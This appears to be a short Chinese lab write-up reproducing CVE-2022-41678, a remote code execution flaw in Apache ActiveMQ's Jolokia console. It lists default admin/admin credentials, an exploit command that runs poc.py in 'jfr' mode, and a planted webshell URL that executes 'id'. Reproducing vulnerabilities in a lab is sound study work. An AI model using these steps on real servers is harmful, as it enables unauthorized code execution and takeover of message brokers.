activemq-CVE-2022-41678

Apache ActiveMQ Jolokia 后台远程代码执行漏洞

Apache ActiveMQ在5.16.5,5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。

启动环境

admin/admin

方法一:利用poc

这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ

方法二:

python poc.py -u admin -p admin --exploit jfr http://localhost:8161

http://192.168.62.131:8161/admin/shelljfr.jsp?cmd=id

相关推荐
arvin_xiaoting2 分钟前
OpenClaw学习总结_I_核心架构_6:Compaction详解
学习·系统架构·学习总结·ai agent·compaction·openclaw
存储服务专家StorageExpert14 分钟前
NetApp NVME SSD 盘的学习笔记
运维·服务器·笔记·学习·存储维护·emc存储·netapp
无聊大侠hello world26 分钟前
黑马大模型 RAG 与 Agent 实战学习笔记
笔记·学习
2501_9181269127 分钟前
学习所有python写服务器的语句
服务器·人工智能·python·学习·个人开发
承渊政道28 分钟前
【优选算法】(实战感悟二分查找算法的思想原理)
c++·笔记·学习·算法·leetcode·visual studio code
Accerlator29 分钟前
操作系统学习
学习
m0_5648768438 分钟前
nano-vllm学习
学习·vllm
丝斯201143 分钟前
AI学习笔记整理(76)——Python学习5
人工智能·笔记·学习
无聊大侠hello world1 小时前
黑马大模型 RAG 与 Agent 实战学习笔记——智扫通 Agent 项目
笔记·学习
952361 小时前
初识多线程
java·开发语言·jvm·后端·学习·多线程